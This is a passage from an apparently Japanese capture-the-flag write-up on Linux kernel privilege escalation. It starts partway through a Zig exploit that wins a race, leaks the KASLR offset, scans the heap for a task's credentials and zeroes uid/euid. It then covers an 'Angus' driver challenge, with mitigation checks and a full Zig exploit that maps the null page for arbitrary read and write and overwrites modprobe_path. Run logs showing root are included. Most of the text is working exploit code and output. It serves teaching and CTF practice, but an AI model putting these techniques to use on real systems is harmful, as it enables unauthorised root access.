const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
const env = [_:null]?[*:0]u8{};
switch (std.posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
else => unreachable,
}
unreachable;
}
pub fn main() !void {
const fd = try race();
const tty = try getTty(fd);
const kaslr_offset = try leakKASLROffset(fd);
std.debug.print("[INFO] Kernel base: 0x{s}\n", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&(kaslr_offset+0xffffffff81000000))), .lower)});
adjust_offsets(kaslr_offset);
const g_buf = try leakHeap(fd);
_ = try std.posix.prctl(.SET_NAME, .{@intFromPtr("okamikun"), 0, 0, 0});
var addr: usize = g_buf - 0x1000000;
const creds = while (addr < g_buf + 0x1000000) : (addr += 0x8) {
if ((addr & 0xfffff) == 0)
std.debug.print("searching... 0x{s}\n", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&addr)), .lower)});
if (std.mem.eql(u8, "okamikun", std.mem.sliceAsBytes(&[_]u32{try aar(fd, tty, g_buf, addr), try aar(fd, tty, g_buf, addr+0x4)}))) {
// task_struct is huge, I ain't copying that!
// just remember that `comm` comes immediately after `creds`.
break std.mem.readInt(u64, @ptrCast(std.mem.sliceAsBytes(&[_]u32{try aar(fd, tty, g_buf, addr-0x8), try aar(fd, tty, g_buf, (addr-0x8)+0x4)})), .little);
}
} else return error.HeapScanFailed;
std.debug.print("[INFO] task_struct.creds = 0x{s}\n", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&creds)), .lower)});
for (&[_]u64{@offsetOf(cred, "uid"), @offsetOf(cred, "euid")}) |offset|
try aaw(fd, tty, g_buf, 0, creds+offset);
ret2win();
}
const cred = extern struct {
usage: u32,
uid: u32,
gid: u32,
suid: u32,
sgid: u32,
euid: u32,
egid: u32,
fsuid: u32,
fsgid: u32,
};whoami: unknown uid 1337
[INFO] Won the race
[INFO] Heap spray failed on core 0, retrying on 1...
[INFO] Heap spray succeeded on core 1
[INFO] Kernel base: 0xffffffff9a800000
searching... 0xffff8ba002400000
searching... 0xffff8ba002500000
searching... 0xffff8ba002600000
searching... 0xffff8ba002700000
searching... 0xffff8ba002800000
searching... 0xffff8ba002900000
searching... 0xffff8ba002a00000
searching... 0xffff8ba002b00000
searching... 0xffff8ba002c00000
searching... 0xffff8ba002d00000
searching... 0xffff8ba002e00000
searching... 0xffff8ba002f00000
searching... 0xffff8ba003000000
searching... 0xffff8ba003100000
searching... 0xffff8ba003200000
searching... 0xffff8ba003300000
[INFO] task_struct.creds = 0xffff8ba0032c7680
[INFO] You won!!
rootちょっとムラだが、root権限昇格した!
Angus
Bash
extract-vmlinux bzImage > vmlinuxま、この課題は単純明快だね。
Bash
pwn checksec angus.ko 2>&1[*] './angus/qemu/rootfs/root/angus.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: NoBash
grep /proc/cpuinfo -q -e 'smep' && echo 'SMEP enabled'
grep /proc/cpuinfo -q -e 'smap' && echo 'SMAP enabled'
grep /sys/devices/system/cpu/vulnerabilities/meltdown -q -e 'PTI' && echo 'KPTI enabled'
grep /proc/cmdline -q -e 'nokaslr' || echo 'KASLR enabled'SMEP enabled
KPTI enabled
KASLR enabledBash
grep /proc/kallsyms -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'ffffffffb8c00000 T startup_64
ffffffffb8c00040 T secondary_startup_64
ffffffffb8c00045 T secondary_startup_64_no_verify
ffffffffb8c00240 T __startup_64
ffffffffb8c005f0 T startup_64_setup_env
ffffffffb8c72810 T commit_creds
ffffffffb8c729b0 T prepare_kernel_cred
ffffffffb9400e10 T swapgs_restore_regs_and_return_to_usermodeBash
# reboot and run again
grep /proc/kallsyms -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'ffffffffae600000 T startup_64
ffffffffae600040 T secondary_startup_64
ffffffffae600045 T secondary_startup_64_no_verify
ffffffffae600240 T __startup_64
ffffffffae6005f0 T startup_64_setup_env
ffffffffae672810 T commit_creds
ffffffffae6729b0 T prepare_kernel_cred
ffffffffaee00e10 T swapgs_restore_regs_and_return_to_usermodeZig
const angus_ioctl = enum(u32) {
INIT = 0x13370001,
SETKEY = 0x13370002,
SETDATA = 0x13370003,
GETDATA = 0x13370004,
ENCRYPT = 0x13370005,
DECRYPT = 0x13370006,
};
const XorCipher = extern struct {
key: [*]u8,
data: [*]u8,
keylen: usize,
datalen: usize,
};
const request_t = extern struct {
ptr: [*]u8,
len: usize,
};
var zero_page: ?*allowzero XorCipher = null;
fn mmap_null() !*allowzero XorCipher {
if (zero_page) |ret| {
return ret;
} else {
const rc = std.os.linux.mmap(
null,
std.heap.page_size_min,
std.os.linux.PROT.READ | std.os.linux.PROT.WRITE,
std.posix.MAP{
.TYPE = .PRIVATE,
.FIXED = true,
.ANONYMOUS = true,
.POPULATE = true,
},
-1,
0,
);
switch (std.posix.errno(rc)) {
.SUCCESS => zero_page = @ptrFromInt(rc),
.TXTBSY => return error.AccessDenied,
.ACCES => return error.AccessDenied,
.PERM => return error.PermissionDenied,
.AGAIN => return error.LockedMemoryLimitExceeded,
.BADF => unreachable,
.OVERFLOW => unreachable,
.NODEV => return error.MemoryMappingNotSupported,
.INVAL => unreachable,
.MFILE => return error.ProcessFdQuotaExceeded,
.NFILE => return error.SystemFdQuotaExceeded,
.NOMEM => return error.OutOfMemory,
.EXIST => return error.MappingAlreadyExists,
else => |err| return std.posix.unexpectedErrno(err),
}
return zero_page.?;
}
}
fn aaw(fd: std.posix.fd_t, buf: []const u8, addr: usize) !void {
var target_value: [128]u8 = undefined;
std.debug.assert(buf.len <= target_value.len);
try aar(fd, target_value[0..buf.len], addr);
for (0..buf.len) |i| target_value[i] ^= buf[i];
const ctx = try mmap_null();
ctx.* = .{
.key = @as([*]u8, &target_value),
.keylen = buf.len,
.data = @as([*]u8, @ptrFromInt(addr)),
.datalen = buf.len,
};
const err = std.os.linux.ioctl(fd, @intFromEnum(angus_ioctl.ENCRYPT), @intFromPtr(&request_t{ .ptr = @ptrFromInt(1), .len = 0 }));
switch (std.posix.errno(err)) {
.SUCCESS => {},
else => return error.AAWFail,
}
}
fn aar(fd: std.posix.fd_t, buf: []u8, addr: usize) !void {
const ctx = try mmap_null();
ctx.* = .{
.key = @constCast(@ptrCast(&[_]u8{0})),
.keylen = 1,
.data = @as([*]u8, @ptrFromInt(addr)),
.datalen = buf.len,
};
const err = std.os.linux.ioctl(fd, @intFromEnum(angus_ioctl.GETDATA), @intFromPtr(&request_t{ .ptr = @as([*]u8, @ptrCast(@constCast(buf))), .len = buf.len }));
switch (std.posix.errno(err)) {
.SUCCESS => {},
else => return error.AARFail,
}
}Zig
const std = @import("std");
const angus_ioctl = enum(u32) {
INIT = 0x13370001,
SETKEY = 0x13370002,
SETDATA = 0x13370003,
GETDATA = 0x13370004,
ENCRYPT = 0x13370005,
DECRYPT = 0x13370006,
};
const XorCipher = extern struct {
key: [*]u8,
data: [*]u8,
keylen: usize,
datalen: usize,
};
const request_t = extern struct {
ptr: [*]u8,
len: usize,
};
var zero_page: ?*allowzero XorCipher = null;
fn mmap_null() !*allowzero XorCipher {
if (zero_page) |ret| {
return ret;
} else {
const rc = std.os.linux.mmap(
null,
std.heap.page_size_min,
std.os.linux.PROT.READ | std.os.linux.PROT.WRITE,
std.posix.MAP{
.TYPE = .PRIVATE,
.FIXED = true,
.ANONYMOUS = true,
.POPULATE = true,
},
-1,
0,
);
switch (std.posix.errno(rc)) {
.SUCCESS => zero_page = @ptrFromInt(rc),
.TXTBSY => return error.AccessDenied,
.ACCES => return error.AccessDenied,
.PERM => return error.PermissionDenied,
.AGAIN => return error.LockedMemoryLimitExceeded,
.BADF => unreachable,
.OVERFLOW => unreachable,
.NODEV => return error.MemoryMappingNotSupported,
.INVAL => unreachable,
.MFILE => return error.ProcessFdQuotaExceeded,
.NFILE => return error.SystemFdQuotaExceeded,
.NOMEM => return error.OutOfMemory,
.EXIST => return error.MappingAlreadyExists,
else => |err| return std.posix.unexpectedErrno(err),
}
return zero_page.?;
}
}
fn aaw(fd: std.posix.fd_t, buf: []const u8, addr: usize) !void {
var target_value: [128]u8 = undefined;
std.debug.assert(buf.len <= target_value.len);
try aar(fd, target_value[0..buf.len], addr);
for (0..buf.len) |i| target_value[i] ^= buf[i];
const ctx = try mmap_null();
ctx.* = .{
.key = @as([*]u8, &target_value),
.keylen = buf.len,
.data = @as([*]u8, @ptrFromInt(addr)),
.datalen = buf.len,
};
const err = std.os.linux.ioctl(fd, @intFromEnum(angus_ioctl.ENCRYPT), @intFromPtr(&request_t{ .ptr = @ptrFromInt(1), .len = 0 }));
switch (std.posix.errno(err)) {
.SUCCESS => {},
else => return error.AAWFail,
}
}
fn aar(fd: std.posix.fd_t, buf: []u8, addr: usize) !void {
const ctx = try mmap_null();
ctx.* = .{
.key = @constCast(@ptrCast(&[_]u8{0})),
.keylen = 1,
.data = @as([*]u8, @ptrFromInt(addr)),
.datalen = buf.len,
};
const err = std.os.linux.ioctl(fd, @intFromEnum(angus_ioctl.GETDATA), @intFromPtr(&request_t{ .ptr = @as([*]u8, @ptrCast(@constCast(buf))), .len = buf.len }));
switch (std.posix.errno(err)) {
.SUCCESS => {},
else => return error.AARFail,
}
}
var MODPROBE_PATH: u64 = 0xffffffff81e37e60;
pub fn main() !void {
const fd = try std.posix.open("/dev/angus", .{ .ACCMODE = .RDWR }, 0o660);
defer std.posix.close(fd);
var buf: [8]u8 = undefined;
var kaddr: usize = 0xffffffff81000000;
while (kaddr < 0xffffffff80000000+0x40000000) : (kaddr += 0x100000) {
if (aar(fd, &buf, kaddr)) {
std.debug.print("[INFO] Kernel base address: 0x{x}\n", .{kaddr});
break;
} else |_| {}
} else return error.KBaseAddressScanFailed;
MODPROBE_PATH += kaddr-0xffffffff81000000;
try aaw(fd, "/tmp/x\x00", MODPROBE_PATH);
modprobePath();
}Bash
whoami
./exploit
/tmp/unknown &> /tmp/null
cat /tmp/whoisitwhoami: unknown uid 1337
[INFO] Kernel base address: 0xffffffffb3400000
[INFO] You won!!
root-
https://elixir.bootlin.com/linux/v5.10.7/source/include/linux/tty.h#L285-L345 ↩︎
-
readやwrite等は他のセキュリティー対策があるらしいので、とりあえずioctlを利用する。 ↩︎
-
Linux SLUB Allocator Internals and Debugging, Part 1 of 4 ↩︎